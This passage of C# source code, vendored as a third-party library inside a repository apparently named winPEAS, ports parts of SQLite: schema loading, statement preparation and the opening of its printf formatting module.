SQLITE_ error codes to ** indicate success or failure. */ static int sqlite3InitOne( sqlite3 db, int iDb, ref string pzErrMsg ) { int rc; int i; int size; Table pTab; Db pDb; string[] azArg = new string[4]; u32[] meta = new u32[5]; InitData initData = new InitData(); string zMasterSchema; string zMasterName = SCHEMA_TABLE( iDb ); int openedTransaction = 0; /* ** The master database table has a structure like this */ string master_schema = "CREATE TABLE sqlite_master(\n" + " type text,\n" + " name text,\n" + " tbl_name text,\n" + " rootpage integer,\n" + " sql text\n" + ")" ; #if !SQLITE_OMIT_TEMPDB string temp_master_schema = "CREATE TEMP TABLE sqlite_temp_master(\n" + " type text,\n" + " name text,\n" + " tbl_name text,\n" + " rootpage integer,\n" + " sql text\n" + ")" ; #else //#define temp_master_schema 0 #endif Debug.Assert( iDb >= 0 && iDb < db.nDb ); Debug.Assert( db.aDb[iDb].pSchema != null ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); Debug.Assert( iDb == 1 || sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) ); /* zMasterSchema and zInitScript are set to point at the master schema ** and initialisation script appropriate for the database being ** initialised. zMasterName is the name of the master table. */ if ( OMIT_TEMPDB == 0 && iDb == 1 ) { zMasterSchema = temp_master_schema; } else { zMasterSchema = master_schema; } zMasterName = SCHEMA_TABLE( iDb ); /* Construct the schema tables. */ azArg[0] = zMasterName; azArg[1] = "1"; azArg[2] = zMasterSchema; azArg[3] = ""; initData.db = db; initData.iDb = iDb; initData.rc = SQLITE_OK; initData.pzErrMsg = pzErrMsg; sqlite3SafetyOff( db ); sqlite3InitCallback( initData, 3, azArg, null ); sqlite3SafetyOn( db ); if ( initData.rc != 0 ) { rc = initData.rc; goto error_out; } pTab = sqlite3FindTable( db, zMasterName, db.aDb[iDb].zName ); if ( ALWAYS( pTab ) ) { pTab.tabFlags |= TF_Readonly; } /* Create a cursor to hold the database open */ pDb = db.aDb[iDb]; if ( pDb.pBt == null ) { if ( OMIT_TEMPDB == 0 && ALWAYS( iDb == 1 ) ) { DbSetProperty( db, 1, DB_SchemaLoaded ); } return SQLITE_OK; } /* If there is not already a read-only (or read-write) transaction opened ** on the b-tree database, open one now. If a transaction is opened, it ** will be closed before this function returns. */ sqlite3BtreeEnter( pDb.pBt ); if ( !sqlite3BtreeIsInReadTrans( pDb.pBt ) ) { rc = sqlite3BtreeBeginTrans( pDb.pBt, 0 ); if ( rc != SQLITE_OK ) { sqlite3SetString( ref pzErrMsg, db, "%s", sqlite3ErrStr( rc ) ); goto initone_error_out; } openedTransaction = 1; } /* Get the database meta information. ** ** Meta values are as follows: ** meta[0] Schema cookie. Changes with each schema change. ** meta[1] File format of schema layer. ** meta[2] Size of the page cache. ** meta[3] Largest rootpage (auto/incr_vacuum mode) ** meta[4] Db text encoding. 1:UTF-8 2:UTF-16LE 3:UTF-16BE ** meta[5] User version ** meta[6] Incremental vacuum mode ** meta[7] unused ** meta[8] unused ** meta[9] unused ** ** Note: The #defined SQLITE_UTF* symbols in sqliteInt.h correspond to ** the possible values of meta[BTREE_TEXT_ENCODING-1]. */ for ( i = 0 ; i < ArraySize( meta ) ; i++ ) { sqlite3BtreeGetMeta( pDb.pBt, i + 1, ref meta[i] ); } pDb.pSchema.schema_cookie = (int)meta[BTREE_SCHEMA_VERSION - 1]; /* If opening a non-empty database, check the text encoding. For the ** main database, set sqlite3.enc to the encoding of the main database. ** For an attached db, it is an error if the encoding is not the same ** as sqlite3.enc. */ if ( meta[BTREE_TEXT_ENCODING - 1] != 0 ) { /* text encoding */ if ( iDb == 0 ) { u8 encoding; /* If opening the main database, set ENC(db). */ encoding = (u8)( meta[BTREE_TEXT_ENCODING - 1] & 3 ); if ( encoding == 0 ) encoding = SQLITE_UTF8; db.aDb[0].pSchema.enc = encoding; //ENC( db ) = encoding; db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "BINARY", 0 ); } else { /* If opening an attached database, the encoding much match ENC(db) */ if ( meta[BTREE_TEXT_ENCODING - 1] != ENC( db ) ) { sqlite3SetString( ref pzErrMsg, db, "attached databases must use the same" + " text encoding as main database" ); rc = SQLITE_ERROR; goto initone_error_out; } } } else { DbSetProperty( db, iDb, DB_Empty ); } pDb.pSchema.enc = ENC( db ); if ( pDb.pSchema.cache_size == 0 ) { size = (int)meta[BTREE_DEFAULT_CACHE_SIZE - 1]; if ( size == 0 ) { size = SQLITE_DEFAULT_CACHE_SIZE; } if ( size < 0 ) size = -size; pDb.pSchema.cache_size = size; sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); } /* ** file_format==1 Version 3.0.0. ** file_format==2 Version 3.1.3. // ALTER TABLE ADD COLUMN ** file_format==3 Version 3.1.4. // ditto but with non-NULL defaults ** file_format==4 Version 3.3.0. // DESC indices. Boolean constants */ pDb.pSchema.file_format = (u8)meta[BTREE_FILE_FORMAT - 1]; if ( pDb.pSchema.file_format == 0 ) { pDb.pSchema.file_format = 1; } if ( pDb.pSchema.file_format > SQLITE_MAX_FILE_FORMAT ) { sqlite3SetString( ref pzErrMsg, db, "unsupported file format" ); rc = SQLITE_ERROR; goto initone_error_out; } /* Ticket #2804: When we open a database in the newer file format, ** clear the legacy_file_format pragma flag so that a VACUUM will ** not downgrade the database and thus invalidate any descending ** indices that the user might have created. */ if ( iDb == 0 && meta[BTREE_FILE_FORMAT - 1] >= 4 ) { db.flags &= ~SQLITE_LegacyFileFmt; } /* Read the schema information out of the schema tables */ Debug.Assert( db.init.busy != 0 ); { string zSql; zSql = sqlite3MPrintf( db, "SELECT name, rootpage, sql FROM '%q'.%s", db.aDb[iDb].zName, zMasterName ); sqlite3SafetyOff( db ); #if ! SQLITE_OMIT_AUTHORIZATION { int (*xAuth)(void*,int,const char*,const char*,const char*,const char*); xAuth = db.xAuth; db.xAuth = 0; #endif rc = sqlite3_exec( db, zSql, (dxCallback)sqlite3InitCallback, initData, 0 ); pzErrMsg = initData.pzErrMsg; #if ! SQLITE_OMIT_AUTHORIZATION db.xAuth = xAuth; } #endif if ( rc == SQLITE_OK ) rc = initData.rc; sqlite3SafetyOn( db ); //sqlite3DbFree( db, ref zSql ); #if !SQLITE_OMIT_ANALYZE if ( rc == SQLITE_OK ) { sqlite3AnalysisLoad( db, iDb ); } #endif } //if ( db.mallocFailed != 0 ) //{ // rc = SQLITE_NOMEM; // sqlite3ResetInternalSchema( db, 0 ); //} if ( rc == SQLITE_OK || ( db.flags & SQLITE_RecoveryMode ) != 0 ) { /* Black magic: If the SQLITE_RecoveryMode flag is set, then consider ** the schema loaded, even if errors occurred. In this situation the ** current sqlite3_prepare() operation will fail, but the following one ** will attempt to compile the supplied statement against whatever subset ** of the schema was loaded before the error occurred. The primary ** purpose of this is to allow access to the sqlite_master table ** even when its contents have been corrupted. */ DbSetProperty( db, iDb, DB_SchemaLoaded ); rc = SQLITE_OK; } /* Jump here for an error that occurs after successfully allocating ** curMain and calling sqlite3BtreeEnter(). For an error that occurs ** before that point, jump to error_out. */ initone_error_out: if ( openedTransaction != 0 ) { sqlite3BtreeCommit( pDb.pBt ); } sqlite3BtreeLeave( pDb.pBt ); error_out: if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) { // db.mallocFailed = 1; } return rc; } /* ** Initialize all database files - the main database file, the file ** used to store temporary tables, and any additional database files ** created using ATTACH statements. Return a success code. If an ** error occurs, write an error message into pzErrMsg. ** ** After a database is initialized, the DB_SchemaLoaded bit is set ** bit is set in the flags field of the Db structure. If the database ** file was of zero-length, then the DB_Empty flag is also set. */ static int sqlite3Init( sqlite3 db, ref string pzErrMsg ) { int i, rc; bool commit_internal = !( ( db.flags & SQLITE_InternChanges ) != 0 ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); rc = SQLITE_OK; db.init.busy = 1; for ( i = 0 ; rc == SQLITE_OK && i < db.nDb ; i++ ) { if ( DbHasProperty( db, i, DB_SchemaLoaded ) || i == 1 ) continue; rc = sqlite3InitOne( db, i, ref pzErrMsg ); if ( rc != 0 ) { sqlite3ResetInternalSchema( db, i ); } } /* Once all the other databases have been initialised, load the schema ** for the TEMP database. This is loaded last, as the TEMP database ** schema may contain references to objects in other databases. */ #if !SQLITE_OMIT_TEMPDB if ( rc == SQLITE_OK && ALWAYS( db.nDb > 1 ) && !DbHasProperty( db, 1, DB_SchemaLoaded ) ) { rc = sqlite3InitOne( db, 1, ref pzErrMsg ); if ( rc != 0 ) { sqlite3ResetInternalSchema( db, 1 ); } } #endif db.init.busy = 0; if ( rc == SQLITE_OK && commit_internal ) { sqlite3CommitInternalChanges( db ); } return rc; } /* ** This routine is a no-op if the database schema is already initialised. ** Otherwise, the schema is loaded. An error code is returned. */ static int sqlite3ReadSchema( Parse pParse ) { int rc = SQLITE_OK; sqlite3 db = pParse.db; Debug.Assert( sqlite3_mutex_held( db.mutex ) ); if ( 0 == db.init.busy ) { rc = sqlite3Init( db, ref pParse.zErrMsg ); } if ( rc != SQLITE_OK ) { pParse.rc = rc; pParse.nErr++; } return rc; } /* ** Check schema cookies in all databases. If any cookie is out ** of date set pParse->rc to SQLITE_SCHEMA. If all schema cookies ** make no changes to pParse->rc. */ static void schemaIsValid( Parse pParse ) { sqlite3 db = pParse.db; int iDb; int rc; u32 cookie = 0; Debug.Assert( pParse.checkSchema!=0 ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); for ( iDb = 0 ; iDb < db.nDb ; iDb++ ) { int openedTransaction = 0; /* True if a transaction is opened */ Btree pBt = db.aDb[iDb].pBt; /* Btree database to read cookie from */ if ( pBt == null ) continue; /* If there is not already a read-only (or read-write) transaction opened ** on the b-tree database, open one now. If a transaction is opened, it ** will be closed immediately after reading the meta-value. */ if ( !sqlite3BtreeIsInReadTrans( pBt ) ) { rc = sqlite3BtreeBeginTrans( pBt, 0 ); //if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) //{ // db.mallocFailed = 1; //} if ( rc != SQLITE_OK ) return; openedTransaction = 1; } /* Read the schema cookie from the database. If it does not match the ** value stored as part of the in the in-memory schema representation, ** set Parse.rc to SQLITE_SCHEMA. */ sqlite3BtreeGetMeta( pBt, BTREE_SCHEMA_VERSION, ref cookie ); if ( cookie != db.aDb[iDb].pSchema.schema_cookie ) { pParse.rc = SQLITE_SCHEMA; } /* Close the transaction, if one was opened. */ if ( openedTransaction!=0 ) { sqlite3BtreeCommit( pBt ); } } } /* ** Convert a schema pointer into the iDb index that indicates ** which database file in db.aDb[] the schema refers to. ** ** If the same database is attached more than once, the first ** attached database is returned. */ static int sqlite3SchemaToIndex( sqlite3 db, Schema pSchema ) { int i = -1000000; /* If pSchema is NULL, then return -1000000. This happens when code in ** expr.c is trying to resolve a reference to a transient table (i.e. one ** created by a sub-select). In this case the return value of this ** function should never be used. ** ** We return -1000000 instead of the more usual -1 simply because using ** -1000000 as the incorrect index into db->aDb[] is much ** more likely to cause a segfault than -1 (of course there are assert() ** statements too, but it never hurts to play the odds). */ Debug.Assert( sqlite3_mutex_held( db.mutex ) ); if ( pSchema != null ) { for ( i = 0 ; ALWAYS( i < db.nDb ) ; i++ ) { if ( db.aDb[i].pSchema == pSchema ) { break; } } Debug.Assert( i >= 0 && i < db.nDb ); } return i; } /* ** Compile the UTF-8 encoded SQL statement zSql into a statement handle. */ static int sqlite3Prepare( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ) { Parse pParse; /* Parsing context */ string zErrMsg = ""; /* Error message */ int rc = SQLITE_OK; /* Result code */ int i; /* Loop counter */ /* Allocate the parsing context */ pParse = new Parse();//sqlite3StackAllocZero(db, sizeof(*pParse)); if ( pParse == null ) { rc = SQLITE_NOMEM; goto end_prepare; } pParse.sLastToken.z = ""; if ( sqlite3SafetyOn( db ) ) { rc = SQLITE_MISUSE; goto end_prepare; } Debug.Assert( ppStmt == null );// assert( ppStmt && *ppStmt==0 ); //Debug.Assert( 0 == db.mallocFailed ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); /* Check to verify that it is possible to get a read lock on all ** database schemas. The inability to get a read lock indicates that ** some other database connection is holding a write-lock, which in ** turn means that the other connection has made uncommitted changes ** to the schema. ** ** Were we to proceed and prepare the statement against the uncommitted ** schema changes and if those schema changes are subsequently rolled ** back and different changes are made in their place, then when this ** prepared statement goes to run the schema cookie would fail to detect ** the schema change. Disaster would follow. ** ** This thread is currently holding mutexes on all Btrees (because ** of the sqlite3BtreeEnterAll() in sqlite3LockAndPrepare()) so it ** is not possible for another thread to start a new schema change ** while this routine is running. Hence, we do not need to hold ** locks on the schema, we just need to make sure nobody else is ** holding them. ** ** Note that setting READ_UNCOMMITTED overrides most lock detection, ** but it does *not* override schema lock detection, so this all still ** works even if READ_UNCOMMITTED is set. */ for ( i = 0 ; i < db.nDb ; i++ ) { Btree pBt = db.aDb[i].pBt; if ( pBt != null ) { Debug.Assert( sqlite3BtreeHoldsMutex( pBt ) ); rc = sqlite3BtreeSchemaLocked( pBt ); if ( rc != 0 ) { string zDb = db.aDb[i].zName; sqlite3Error( db, rc, "database schema is locked: %s", zDb ); sqlite3SafetyOff( db ); testcase( db.flags & SQLITE_ReadUncommitted ); goto end_prepare; } } } sqlite3VtabUnlockList( db ); pParse.db = db; if ( nBytes >= 0 && ( nBytes == 0 || zSql[nBytes - 1] != 0 ) ) { string zSqlCopy; int mxLen = db.aLimit[SQLITE_LIMIT_SQL_LENGTH]; testcase( nBytes == mxLen ); testcase( nBytes == mxLen + 1 ); if ( nBytes > mxLen ) { sqlite3Error( db, SQLITE_TOOBIG, "statement too long" ); sqlite3SafetyOff( db ); rc = sqlite3ApiExit( db, SQLITE_TOOBIG ); goto end_prepare; } zSqlCopy = zSql.Substring( 0, nBytes );// sqlite3DbStrNDup(db, zSql, nBytes); if ( zSqlCopy != null ) { sqlite3RunParser( pParse, zSqlCopy, ref zErrMsg ); //sqlite3DbFree( db, ref zSqlCopy ); //pParse->zTail = &zSql[pParse->zTail-zSqlCopy]; } else { //pParse->zTail = &zSql[nBytes]; } } else { sqlite3RunParser( pParse, zSql, ref zErrMsg ); } //if ( db.mallocFailed != 0 ) //{ // pParse.rc = SQLITE_NOMEM; //} if ( pParse.rc == SQLITE_DONE ) pParse.rc = SQLITE_OK; if ( pParse.checkSchema != 0) { schemaIsValid( pParse ); } if ( pParse.rc == SQLITE_SCHEMA ) { sqlite3ResetInternalSchema( db, 0 ); } //if ( db.mallocFailed != 0 ) //{ // pParse.rc = SQLITE_NOMEM; //} //if (pzTail != null) { pzTail = pParse.zTail == null ? "" : pParse.zTail.ToString(); } rc = pParse.rc; #if !SQLITE_OMIT_EXPLAIN if ( rc == SQLITE_OK && pParse.pVdbe != null && pParse.explain != 0 ) { string[] azColName = new string[] { "addr", "opcode", "p1", "p2", "p3", "p4", "p5", "comment", "order", "from", "detail" }; int iFirst, mx; if ( pParse.explain == 2 ) { sqlite3VdbeSetNumCols( pParse.pVdbe, 3 ); iFirst = 8; mx = 11; } else { sqlite3VdbeSetNumCols( pParse.pVdbe, 8 ); iFirst = 0; mx = 8; } for ( i = iFirst ; i < mx ; i++ ) { sqlite3VdbeSetColName( pParse.pVdbe, i - iFirst, COLNAME_NAME, azColName[i], SQLITE_STATIC ); } } #endif if ( sqlite3SafetyOff( db ) ) { rc = SQLITE_MISUSE; } Debug.Assert( db.init.busy == 0 || saveSqlFlag == 0 ); if ( db.init.busy == 0 ) { Vdbe pVdbe = pParse.pVdbe; sqlite3VdbeSetSql( pVdbe, zSql, (int)( zSql.Length - ( pParse.zTail == null ? 0 : pParse.zTail.Length ) ), saveSqlFlag ); } if ( pParse.pVdbe != null && ( rc != SQLITE_OK /*|| db.mallocFailed != 0 */ ) ) { sqlite3VdbeFinalize( pParse.pVdbe ); Debug.Assert( ppStmt == null ); } else { ppStmt = pParse.pVdbe; } if ( zErrMsg != "" ) { sqlite3Error( db, rc, "%s", zErrMsg ); //sqlite3DbFree( db, ref zErrMsg ); } else { sqlite3Error( db, rc, 0 ); } end_prepare: //sqlite3StackFree( db, pParse ); rc = sqlite3ApiExit( db, rc ); Debug.Assert( ( rc & db.errMask ) == rc ); return rc; } static int sqlite3LockAndPrepare( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ) { int rc; // assert( ppStmt!=0 ); ppStmt = null; if ( !sqlite3SafetyCheckOk( db ) ) { return SQLITE_MISUSE; } sqlite3_mutex_enter( db.mutex ); sqlite3BtreeEnterAll( db ); rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, ref ppStmt, ref pzTail ); if ( rc == SQLITE_SCHEMA ) { sqlite3_finalize( ref ppStmt ); rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, ref ppStmt, ref pzTail ); } sqlite3BtreeLeaveAll( db ); sqlite3_mutex_leave( db.mutex ); return rc; } /* ** Rerun the compilation of a statement after a schema change. ** ** If the statement is successfully recompiled, return SQLITE_OK. Otherwise, ** if the statement cannot be recompiled because another connection has ** locked the sqlite3_master table, return SQLITE_LOCKED. If any other error ** occurs, return SQLITE_SCHEMA. */ static int sqlite3Reprepare( Vdbe p ) { int rc; sqlite3_stmt pNew = new sqlite3_stmt(); string zSql; sqlite3 db; Debug.Assert( sqlite3_mutex_held( sqlite3VdbeDb( p ).mutex ) ); zSql = sqlite3_sql( (sqlite3_stmt)p ); Debug.Assert( zSql != null ); /* Reprepare only called for prepare_v2() statements */ db = sqlite3VdbeDb( p ); Debug.Assert( sqlite3_mutex_held( db.mutex ) ); string dummy = ""; rc = sqlite3LockAndPrepare( db, zSql, -1, 1, ref pNew, ref dummy ); if ( rc != 0 ) { if ( rc == SQLITE_NOMEM ) { // db.mallocFailed = 1; } Debug.Assert( pNew == null ); return ( rc == SQLITE_LOCKED ) ? SQLITE_LOCKED : SQLITE_SCHEMA; } else { Debug.Assert( pNew != null ); } sqlite3VdbeSwap( (Vdbe)pNew, p ); sqlite3TransferBindings( pNew, (sqlite3_stmt)p ); sqlite3VdbeResetStepResult( (Vdbe)pNew ); sqlite3VdbeFinalize( (Vdbe)pNew ); return SQLITE_OK; } /* ** Two versions of the official API. Legacy and new use. In the legacy ** version, the original SQL text is not saved in the prepared statement ** and so if a schema change occurs, SQLITE_SCHEMA is returned by ** sqlite3_step(). In the new version, the original SQL text is retained ** and the statement is automatically recompiled if an schema change ** occurs. */ public static int sqlite3_prepare( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ) { int rc; rc = sqlite3LockAndPrepare( db, zSql, nBytes, 0, ref ppStmt, ref pzTail ); Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ return rc; } public static int sqlite3_prepare_v2( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ int dummy /* ( No string passed) */ ) { string pzTail = null; int rc; rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, ref ppStmt, ref pzTail ); Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ return rc; } public static int sqlite3_prepare_v2( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ) { int rc; rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, ref ppStmt, ref pzTail ); Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ return rc; } #if ! SQLITE_OMIT_UTF16 /* ** Compile the UTF-16 encoded SQL statement zSql into a statement handle. */ static int sqlite3Prepare16( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ bool saveSqlFlag, /* True to save SQL text into the sqlite3_stmt */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ){ /* This function currently works by first transforming the UTF-16 ** encoded string to UTF-8, then invoking sqlite3_prepare(). The ** tricky bit is figuring out the pointer to return in pzTail. */ string zSql8; string zTail8 = ""; int rc = SQLITE_OK; assert( ppStmt ); *ppStmt = 0; if( !sqlite3SafetyCheckOk(db) ){ return SQLITE_MISUSE; } sqlite3_mutex_enter(db.mutex); zSql8 = sqlite3Utf16to8(db, zSql, nBytes); if( zSql8 !=""){ rc = sqlite3LockAndPrepare(db, zSql8, -1, saveSqlFlag, ref ppStmt, ref zTail8); } if( zTail8 !="" && pzTail !=""){ /* If sqlite3_prepare returns a tail pointer, we calculate the ** equivalent pointer into the UTF-16 string by counting the unicode ** characters between zSql8 and zTail8, and then returning a pointer ** the same number of characters into the UTF-16 string. */ Debugger.Break (); // TODO -- // int chars_parsed = sqlite3Utf8CharLen(zSql8, (int)(zTail8-zSql8)); // pzTail = (u8 *)zSql + sqlite3Utf16ByteLen(zSql, chars_parsed); } //sqlite3DbFree(db,ref zSql8); rc = sqlite3ApiExit(db, rc); sqlite3_mutex_leave(db.mutex); return rc; } /* ** Two versions of the official API. Legacy and new use. In the legacy ** version, the original SQL text is not saved in the prepared statement ** and so if a schema change occurs, SQLITE_SCHEMA is returned by ** sqlite3_step(). In the new version, the original SQL text is retained ** and the statement is automatically recompiled if an schema change ** occurs. */ public static int sqlite3_prepare16( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ){ int rc; rc = sqlite3Prepare16(db,zSql,nBytes,false,ref ppStmt,ref pzTail); Debug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null ); /* VERIFY: F13021 */ return rc; } public static int sqlite3_prepare16_v2( sqlite3 db, /* Database handle. */ string zSql, /* UTF-8 encoded SQL statement. */ int nBytes, /* Length of zSql in bytes. */ ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ ref string pzTail /* OUT: End of parsed string */ ) { int rc; rc = sqlite3Prepare16(db,zSql,nBytes,true,ref ppStmt,ref pzTail); Debug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null ); /* VERIFY: F13021 */ return rc; } #endif // * SQLITE_OMIT_UTF16 */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/printf_c.cs ================================================ using System; using System.Diagnostics; using System.Text; namespace winPEAS._3rdParty.SQLite.src { using etByte = System.Boolean; using i64 = System.Int64; using LONGDOUBLE_TYPE = System.Double; using va_list = System.Object; public partial class CSSQLite { /* ** The "printf" code that follows dates from the 1980's. It is in ** the public domain. The original comments are included here for ** completeness. They are very out-of-date but might be useful as ** an historical reference. Most of the "enhancements" have been backed ** out so that the functionality is now the same as standard printf(). ** ** $Id: printf.c,v 1.104 2009/06/03 01:24:54 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** ************************************************************************** ** ** The following modules is an enhanced replacement for the "printf" subroutines ** found in the standard C library. The following enhancements are ** supported: ** ** + Additional functions. The standard set of "printf" functions ** includes printf, fprintf, sprintf, vprintf, vfprintf, and ** vsprintf. This module adds the following: ** ** * snprintf -- Works like sprintf, but has an extra argument ** which is the size of the buffer written to. ** ** * mprintf -- Similar to sprintf. Writes output to memory ** obtained from malloc. ** ** * xprintf -- Calls a function to dispose of output. ** ** * nprintf -- No output, but returns the number of characters ** that would have been output by printf. ** ** * A v- version (ex: vsnprintf) of every function is also ** supplied. ** ** + A few extensions to the formatting notation are supported: ** ** * The "=" flag (similar to "-") causes the output to be ** be centered in the appropriately sized field. ** ** * The %b field outputs an integer in binary notation. ** ** * The %c field now accepts a precision. The character output ** is repeated by the number of times the precision specifies. ** ** * The %' field works like %c, but takes as its character the ** next character of the format string, instead of the next ** argument. For example, printf("%.78'-") prints 78 minus ** signs, the same as printf("%.78c",'-'). ** ** + When compiled using GCC on a SPARC, this version of printf is ** faster than the library printf for SUN OS 4.1. ** ** + All functions are fully reentrant. ** */ //#include "sqliteInt.h" /* ** Conversion types fall into various categories as defined by the ** following enumeration. */ //#define etRADIX 1 /* Integer types. %d, %x, %o, and so forth */ //#define etFLOAT 2 /* Floating point. %f */ //#define etEXP 3 /* Exponentional notation. %e and %E */ //#define etGENERIC 4 /* Floating or exponential, depending on exponent. %g */ //#define etSIZE 5 /* Return number of characters processed so far. %n */ //#define etSTRING 6 /* Strings. %s */ //#define etDYNSTRING 7 /* Dynamically allocated strings. %z */ //#define etPERCENT 8 /* Percent symbol. %% */ //#define etCHARX 9 /* Characters. %c */ ///* The rest are extensions, not normally found in printf() */ //#define etSQLESCAPE 10 /* Strings with '\'' doubled. %q */ //#define etSQLESCAPE2 11 /* Strings with '\'' doubled and enclosed in '', // NULL pointers replaced by SQL NULL. %Q */ //#define etTOKEN 12 /* a pointer to a Token structure */ //#define etSRCLIST 13 /* a pointer to a SrcList */ //#define etPOINTER 14 /* The %p conversion */ //#define etSQLESCAPE3 15 /* %w -> Strings with '\"' doubled */ //#define etORDINAL 16 /* %r -> 1st, 2nd, 3rd, 4th, etc. English only */ //#define etINVALID 0 /* Any unrecognized conversion type */ const int etRADIX = 1; /* Integer types. %d, %x, %o, and so forth */ const int etFLOAT = 2; /* Floating point. %f */ const int etEXP = 3; /* Exponentional notation. %e and %E */ const int etGENERIC = 4; /* Floating or exponential, depending on exponent. %g */ const int etSIZE = 5; /* Return number of characters processed so far. %n */ const int etSTRING = 6; /* Strings. %s */ const int etDYNSTRING = 7; /* Dynamically allocated strings. %z */ const int etPERCENT = 8; /* Percent symbol. %% */ const int etCHARX = 9; /* Characters. %c */ /* The rest are extensions, not normally found in printf() */ const int etSQLESCAPE = 10; /* Strings with '\'' doubled. %q */ const int etSQLESCAPE2 = 11; /* Strings with '\'' doubled and enclosed in '', NULL pointers replaced by SQL NULL. %Q */ const int etTOKEN = 12; /* a pointer to a Token structure */ const int etSRCLIST = 13; /* a pointer to a SrcList */ const int etPOINTER = 14; /* The %p conversion */ const int etSQLESCAPE3 = 15; /* %w . Strings with '\"' doubled */ const int etORDINAL = 16; /* %r . 1st, 2nd, 3rd, 4th, etc. English only */ const int etINVALID = 0; /* Any unrecognized conversion type */ /* ** An "etByte" is an 8-bit unsigned value. */ //typedef unsigned char etByte; /* ** Each builtin conversion character (ex: the 'd' in "%d") is described ** by an instance of the following structure */ public class et_info { /* Information about each format field */ public char fmttype; /* The format field code letter */ public byte _base; /* The _base for radix conversion */ public byte flags; /* One or more of FLAG_ constants below */ public byte type; /* Conversion paradigm */ public byte charset; /* Offset into aDigits[] of the digits string */ public byte prefix; /* Offset into aPrefix[] of the prefix string */ /* * Constructor */ public et_info( char fmttype, byte _base, byte flags, byte type, byte charset, byte prefix ) { this.fmttype = fmttype; this._base = _base; this.flags = flags; this.type = type; this.charset = charset; this.prefix = prefix; } } /* ** Allowed values for et_info.flags */ const byte FLAG_SIGNED = 1; /* True if the value to convert is signed */ const byte FLAG_INTERN = 2; /* True if for internal use only */ const byte FLAG_STRING = 4; /* Allow infinity precision */ /* ** The following table is searched linearly, so it is good to put the ** most frequently used conversion types first. */ static string aDigits = "0123456789ABCDEF0123456789abcdef"; static string aPrefix = "-x0\000X0"; static et_info[] fmtinfo = new et_info[] { new et_info( 'd', 10, 1, etRADIX, 0, 0 ), new et_info( 's', 0, 4, etSTRING, 0, 0 ), new et_info( 'g', 0, 1, etGENERIC, 30, 0 ), new et_info( 'z', 0, 4, etDYNSTRING, 0, 0 ), new et_info( 'q', 0, 4, etSQLESCAPE, 0, 0 ), new et_info( 'Q', 0, 4, etSQLESCAPE2, 0, 0 ), new et_info( 'w', 0, 4, etSQLESCAPE3, 0, 0 ), new et_info( 'c', 0, 0, etCHARX, 0, 0 ), new et_info( 'o', 8, 0, etRADIX, 0, 2 ), new et_info( 'u', 10, 0, etRADIX, 0, 0 ), new et_info( 'x', 16, 0, etRADIX, 16, 1 ), new et_info( 'X', 16, 0, etRADIX, 0, 4 ), #if !SQLITE_OMIT_FLOATING_POINT new et_info( 'f', 0, 1, etFLOAT, 0, 0 ), new et_info( 'e', 0, 1, etEXP, 30, 0 ), new et_info( 'E', 0, 1, etEXP, 14, 0 ), new et_info( 'G', 0, 1, etGENERIC, 14, 0 ), #endif new et_info( 'i', 10, 1, etRADIX, 0, 0 ), new et_info( 'n', 0, 0, etSIZE, 0, 0 ), new et_info( '%', 0, 0, etPERCENT, 0, 0 ), new et_info( 'p', 16, 0, etPOINTER, 0, 1 ), /* All the rest have the FLAG_INTERN bit set and are thus for internal ** use only */ new et_info( 'T', 0, 2, etTOKEN, 0, 0 ), new et_info( 'S', 0, 2, etSRCLIST, 0, 0 ), new et_info( 'r', 10, 3, etORDINAL, 0, 0 ), }; /* ** If SQLITE_OMIT_FLOATING_POINT is defined, then none of the floating point ** conversions will work. */ #if 